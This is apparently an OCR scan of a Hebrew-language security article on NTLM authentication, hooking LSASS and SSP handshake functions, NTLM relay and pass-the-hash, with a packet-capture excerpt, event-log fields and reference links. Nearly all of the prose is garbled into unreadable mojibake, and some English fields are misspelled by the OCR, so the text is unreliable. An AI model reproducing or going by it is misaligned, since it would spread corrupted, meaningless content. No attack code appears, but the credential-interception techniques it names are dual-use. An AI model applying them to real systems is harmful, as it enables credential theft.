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NUPONY D NIXK N"I'YY NITYN 72 IR 'NOWY NX NTLM NINARNN 7'NNK NINNXKN DY92 NI

NIENNNYT NOM "IX I'7X W'NINYT D'RNN

[ [ntimssp

Na. Time Source Destination Protocal  Length Info
25 13.687569 192.168.188.128 192.168.188.1 HTTP 341 POST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_NEGO
26 13.613881 192.168.188.1 192.168.188.128 HTTP 480 HTTP/1.1 481 , NTLMSSP_CHALLENGE

+ T8 47.974292 192.168.188.128 192.168.188.1 HTTP 988 POST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_AUTH

> Domain name: DESKTOP-UC@LM@S
> User name: Tahat
¥ Host name: SHABBAT-SHALOM2

:N7NNN2 MIX'NY WNNNYT 21T OXIN XY A170W DIRTYT 7001

Metwork Information:

Workstation Mame: SHABBAT-SHALOMZ
Source Metwork Address;  192.168.188.128
Source Port: 49680

117w hook-n X477 ¥ n'nw a17n NnivY

Metwork Information:

Workstation Mame: DESKTOP-UCOLMOS
Source Metwork Address:  192.168.188.128
Source Port: 49674

-N1 NVIYODN T2 NOPNNN DX wnnY? 772w 72X nopnnn 7Y 7¢ D'wInmn DK 1NRN7 918X X7
,X22197 hook NWIyI LSASS 7w NIaIMdN ANN?7 [YVIw nd7wn SSP 21N> 1210X¥N N "nmruay”

0j7'1N97 0'0 7w N7NK NIINYT 712' 72K NNNXK NINVNYT7 'MNNRY WNN NN NWIY Lsarelayx *7on

o'oY

TIXI DNNY DX N'MIYAYN NIY7 715 XN ,0'9IN 7w OpSec-n 071y 732 N19n NTI71 NN gnnn
N1V NAYNNT7 NITIZ 17V DN IR RN NIAPYA IR N1ANN 'WIR ¢ DN7Y 720NN 'DIR
NNIY N9 ¢ 0'-hook NIY¥NXA *7IX ,N7W DIV D'YIN'MA DAl NOPNAN 11VI7 NIYTN NIRDL

.SsprMICHandshakeMessages-n

-0 NUPO NN TR DTV ¢ 71 'M'W 7Y NNQTN INRN N'9'YO0N NMATNNY 1IDT? 21vn
NNIXA .© NP dLVN NNIX NIYXARA "11'Y7 D'IN DAY DAY NITY TIY I NTLM-2 Authenticate
NTLMv2 Response-n NX NNWY7 DA NINRYI "AITNE YNNYAN DY DX NRYT? IT n0'wa 171D ,nTn

n7wn PTH 7w win'm y¥a7 731 1N1'N2Y7 Nno'o 7w NTLM Hash 7'w 2
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X7 Ty myT7w 071y ,001w 0'-SSP-1 0'-hook-1 0'M'W 7w 0'901) DMPNAYT NN9 DlINN ARAN
DN'72Y MA7TY NIDPNNI DAYIN (1NN N9 W' ARNZNAN DNINIY DIEN 17w D710 7123 NP7 nvan
178 22 2y XN77 DIN2 y'n apnnn 7y 0IpIoN DX 'RWN7 7'awa 7'o0n DNV 'MN10N K7 IR

.0n1an X

"V nyy

D00 IR 7' NRYT7 NAWK 70NN 27 NITRYT? DY WRINNVAR PN, 21 2 ,A%2) NN

https://twitter.com/EthanNevelev

bob.bestofbuild@gmail.com

NN

NN NXRMP? 077 DNRNN  hackndo-1 17w 0'9 1A Pixis "'y 1IAN21W DINXA 7Y 002NN 17NN 20
JATONNN X7,N7RN D'NYWN DR WT7R7 07107 y'7nn , TING Nniaa

https://en.hackndo.com/ntim-relay/

https://en.hackndo.com/pass-the-hash/

:N2N 72'72 2D NTLM 7w RFC-n

https://learn.microsoft.com/en-us/openspecs/windows protocols/ms-nimp/b38c36ed-2804-

4868-a9ff-8dd3182128e4

NOPNNN Y 72T [N72VY NI7I2'NN NN wnnn Lsarelax "0

https://github.com/CCob/Isarelayx

:07101 717N MNXA Lsass 7w NIYY2191 DIW D-Struct 7v AR (NN [N

https://learn.microsoft.com/en-us/windows/win32/

'WTIPN YN [NNKRN bluehat-2 James Forshaw 7w nkXNnn nkWN DX DAl

https://www.youtube.com/watch?v=YLOr cPIUF8

:PTH 2y 7'nyn 120n

https://www.praetorian.com/blog/inside-mimikatz-part2/
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https://twitter.com/EthanNevelev
https://en.hackndo.com/ntlm-relay/
https://en.hackndo.com/pass-the-hash/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4
https://github.com/CCob/lsarelayx
https://learn.microsoft.com/en-us/windows/win32/
https://www.youtube.com/watch?v=YLOr_cPlUF8
https://www.praetorian.com/blog/inside-mimikatz-part2/

